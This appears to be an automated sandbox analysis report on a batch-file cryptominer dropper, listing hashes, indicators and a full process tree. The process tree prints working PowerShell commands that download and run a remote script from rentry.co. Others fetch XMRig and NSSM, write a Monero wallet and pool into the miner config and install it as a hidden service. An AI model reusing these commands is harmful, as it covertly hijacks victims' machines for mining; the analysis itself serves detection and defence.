Analysis
-
max time kernel
107s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01-07-2024 03:52
Static task
static1
Behavioral task
behavioral1
Sample
23169256225899.bat
Resource
win10-20240404-en
General
-
Target
23169256225899.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 16 IoCs
Processes:
resource yara_rule C:\Users\Admin\moneroocean\xmrig.exe family_xmrig C:\Users\Admin\moneroocean\xmrig.exe xmrig behavioral2/memory/1240-66-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-201-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-202-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-203-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-204-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-205-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-206-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-207-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-208-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-209-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-210-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-211-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-212-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1464-213-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 6 2508 powershell.exe 16 3624 powershell.exe 20 4524 powershell.exe -
Executes dropped EXE 9 IoCs
Processes:
xmrig.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exexmrig.exepid process 1240 xmrig.exe 1196 nssm.exe 2024 nssm.exe 3160 nssm.exe 3068 nssm.exe 4180 nssm.exe 2676 nssm.exe 1432 nssm.exe 1464 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 15 raw.githubusercontent.com 16 raw.githubusercontent.com 20 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 3404 sc.exe 1212 sc.exe 3136 sc.exe 3376 sc.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3644 powershell.exe 3952 powershell.exe 3624 powershell.exe 3268 powershell.exe 3744 powershell.exe 3032 powershell.exe 2508 powershell.exe 3188 powershell.exe 3924 powershell.exe 1392 powershell.exe 3336 powershell.exe 4524 powershell.exe 712 powershell.exe -
Delays execution with timeout.exe 64 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 4172 timeout.exe 1512 timeout.exe 1100 timeout.exe 2004 timeout.exe 4408 timeout.exe 4268 timeout.exe 4780 timeout.exe 3792 timeout.exe 2708 timeout.exe 1696 timeout.exe 2484 timeout.exe 1324 timeout.exe 4704 timeout.exe 2420 timeout.exe 2856 timeout.exe 1320 timeout.exe 4124 timeout.exe 3136 timeout.exe 4392 timeout.exe 364 timeout.exe 4880 timeout.exe 4136 timeout.exe 1896 timeout.exe 1516 timeout.exe 1480 timeout.exe 4168 timeout.exe 1248 timeout.exe 3624 timeout.exe 552 timeout.exe 4308 timeout.exe 2284 timeout.exe 1496 timeout.exe 2172 timeout.exe 1276 timeout.exe 4880 timeout.exe 1484 timeout.exe 4484 timeout.exe 3572 timeout.exe 3792 timeout.exe 4616 timeout.exe 4820 timeout.exe 4996 timeout.exe 536 timeout.exe 4828 timeout.exe 2252 timeout.exe 1716 timeout.exe 4740 timeout.exe 4328 timeout.exe 3144 timeout.exe 392 timeout.exe 4892 timeout.exe 3464 timeout.exe 1416 timeout.exe 688 timeout.exe 1004 timeout.exe 2500 timeout.exe 1728 timeout.exe 3032 timeout.exe 2332 timeout.exe 2188 timeout.exe 2256 timeout.exe 1916 timeout.exe 2176 timeout.exe 1392 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1600 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 26 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2508 powershell.exe 2508 powershell.exe 3624 powershell.exe 3624 powershell.exe 3268 powershell.exe 3268 powershell.exe 1392 powershell.exe 1392 powershell.exe 3644 powershell.exe 3644 powershell.exe 3744 powershell.exe 3744 powershell.exe 3952 powershell.exe 3952 powershell.exe 3188 powershell.exe 3188 powershell.exe 3336 powershell.exe 3336 powershell.exe 3032 powershell.exe 3032 powershell.exe 3924 powershell.exe 3924 powershell.exe 4524 powershell.exe 4524 powershell.exe 712 powershell.exe 712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exetaskkill.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exexmrig.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 2508 powershell.exe Token: SeDebugPrivilege 1600 taskkill.exe Token: SeDebugPrivilege 3624 powershell.exe Token: SeDebugPrivilege 3268 powershell.exe Token: SeDebugPrivilege 1392 powershell.exe Token: SeDebugPrivilege 3644 powershell.exe Token: SeDebugPrivilege 3744 powershell.exe Token: SeDebugPrivilege 3952 powershell.exe Token: SeDebugPrivilege 3188 powershell.exe Token: SeDebugPrivilege 3336 powershell.exe Token: SeDebugPrivilege 3032 powershell.exe Token: SeDebugPrivilege 3924 powershell.exe Token: SeDebugPrivilege 4524 powershell.exe Token: SeDebugPrivilege 712 powershell.exe Token: SeLockMemoryPrivilege 1464 xmrig.exe Token: SeIncreaseQuotaPrivilege 5088 WMIC.exe Token: SeSecurityPrivilege 5088 WMIC.exe Token: SeTakeOwnershipPrivilege 5088 WMIC.exe Token: SeLoadDriverPrivilege 5088 WMIC.exe Token: SeSystemProfilePrivilege 5088 WMIC.exe Token: SeSystemtimePrivilege 5088 WMIC.exe Token: SeProfSingleProcessPrivilege 5088 WMIC.exe Token: SeIncBasePriorityPrivilege 5088 WMIC.exe Token: SeCreatePagefilePrivilege 5088 WMIC.exe Token: SeBackupPrivilege 5088 WMIC.exe Token: SeRestorePrivilege 5088 WMIC.exe Token: SeShutdownPrivilege 5088 WMIC.exe Token: SeDebugPrivilege 5088 WMIC.exe Token: SeSystemEnvironmentPrivilege 5088 WMIC.exe Token: SeRemoteShutdownPrivilege 5088 WMIC.exe Token: SeUndockPrivilege 5088 WMIC.exe Token: SeManageVolumePrivilege 5088 WMIC.exe Token: 33 5088 WMIC.exe Token: 34 5088 WMIC.exe Token: 35 5088 WMIC.exe Token: 36 5088 WMIC.exe Token: SeIncreaseQuotaPrivilege 5088 WMIC.exe Token: SeSecurityPrivilege 5088 WMIC.exe Token: SeTakeOwnershipPrivilege 5088 WMIC.exe Token: SeLoadDriverPrivilege 5088 WMIC.exe Token: SeSystemProfilePrivilege 5088 WMIC.exe Token: SeSystemtimePrivilege 5088 WMIC.exe Token: SeProfSingleProcessPrivilege 5088 WMIC.exe Token: SeIncBasePriorityPrivilege 5088 WMIC.exe Token: SeCreatePagefilePrivilege 5088 WMIC.exe Token: SeBackupPrivilege 5088 WMIC.exe Token: SeRestorePrivilege 5088 WMIC.exe Token: SeShutdownPrivilege 5088 WMIC.exe Token: SeDebugPrivilege 5088 WMIC.exe Token: SeSystemEnvironmentPrivilege 5088 WMIC.exe Token: SeRemoteShutdownPrivilege 5088 WMIC.exe Token: SeUndockPrivilege 5088 WMIC.exe Token: SeManageVolumePrivilege 5088 WMIC.exe Token: 33 5088 WMIC.exe Token: 34 5088 WMIC.exe Token: 35 5088 WMIC.exe Token: 36 5088 WMIC.exe Token: SeIncreaseQuotaPrivilege 1236 WMIC.exe Token: SeSecurityPrivilege 1236 WMIC.exe Token: SeTakeOwnershipPrivilege 1236 WMIC.exe Token: SeLoadDriverPrivilege 1236 WMIC.exe Token: SeSystemProfilePrivilege 1236 WMIC.exe Token: SeSystemtimePrivilege 1236 WMIC.exe Token: SeProfSingleProcessPrivilege 1236 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
xmrig.exepid process 1464 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.execmd.exenet.execmd.exepowershell.exedescription pid process target process PID 3212 wrote to memory of 2508 3212 cmd.exe powershell.exe PID 3212 wrote to memory of 2508 3212 cmd.exe powershell.exe PID 2508 wrote to memory of 3308 2508 powershell.exe cmd.exe PID 2508 wrote to memory of 3308 2508 powershell.exe cmd.exe PID 3308 wrote to memory of 968 3308 cmd.exe net.exe PID 3308 wrote to memory of 968 3308 cmd.exe net.exe PID 968 wrote to memory of 1520 968 net.exe net1.exe PID 968 wrote to memory of 1520 968 net.exe net1.exe PID 3308 wrote to memory of 1400 3308 cmd.exe where.exe PID 3308 wrote to memory of 1400 3308 cmd.exe where.exe PID 3308 wrote to memory of 1596 3308 cmd.exe cmd.exe PID 3308 wrote to memory of 1596 3308 cmd.exe cmd.exe PID 3308 wrote to memory of 712 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 712 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 2228 3308 cmd.exe where.exe PID 3308 wrote to memory of 2228 3308 cmd.exe where.exe PID 3308 wrote to memory of 4204 3308 cmd.exe where.exe PID 3308 wrote to memory of 4204 3308 cmd.exe where.exe PID 3308 wrote to memory of 3404 3308 cmd.exe sc.exe PID 3308 wrote to memory of 3404 3308 cmd.exe sc.exe PID 3308 wrote to memory of 1212 3308 cmd.exe sc.exe PID 3308 wrote to memory of 1212 3308 cmd.exe sc.exe PID 3308 wrote to memory of 1600 3308 cmd.exe taskkill.exe PID 3308 wrote to memory of 1600 3308 cmd.exe taskkill.exe PID 3308 wrote to memory of 3624 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3624 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3268 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3268 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 1392 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 1392 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 1240 3308 cmd.exe xmrig.exe PID 3308 wrote to memory of 1240 3308 cmd.exe xmrig.exe PID 3308 wrote to memory of 4456 3308 cmd.exe cmd.exe PID 3308 wrote to memory of 4456 3308 cmd.exe cmd.exe PID 4456 wrote to memory of 3644 4456 cmd.exe powershell.exe PID 4456 wrote to memory of 3644 4456 cmd.exe powershell.exe PID 3644 wrote to memory of 2584 3644 powershell.exe HOSTNAME.EXE PID 3644 wrote to memory of 2584 3644 powershell.exe HOSTNAME.EXE PID 3308 wrote to memory of 3744 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3744 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3952 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3952 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3188 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3188 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3336 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3336 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3032 3308 cmd.exe WMIC.exe PID 3308 wrote to memory of 3032 3308 cmd.exe WMIC.exe PID 3308 wrote to memory of 3924 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3924 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 4524 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 4524 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 712 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 712 3308 cmd.exe powershell.exe PID 3308 wrote to memory of 3136 3308 cmd.exe WMIC.exe PID 3308 wrote to memory of 3136 3308 cmd.exe WMIC.exe PID 3308 wrote to memory of 3376 3308 cmd.exe sc.exe PID 3308 wrote to memory of 3376 3308 cmd.exe sc.exe PID 3308 wrote to memory of 1196 3308 cmd.exe nssm.exe PID 3308 wrote to memory of 1196 3308 cmd.exe nssm.exe PID 3308 wrote to memory of 2024 3308 cmd.exe nssm.exe PID 3308 wrote to memory of 2024 3308 cmd.exe nssm.exe PID 3308 wrote to memory of 3160 3308 cmd.exe WMIC.exe PID 3308 wrote to memory of 3160 3308 cmd.exe WMIC.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\23169256225899.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp46FC.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
C:\Windows\system32\where.exewhere powershell4⤵
-
C:\Windows\system32\where.exewhere find4⤵
-
C:\Windows\system32\where.exewhere findstr4⤵
-
C:\Windows\system32\where.exewhere tasklist4⤵
-
C:\Windows\system32\where.exewhere sc4⤵
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Snfvgqlu\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
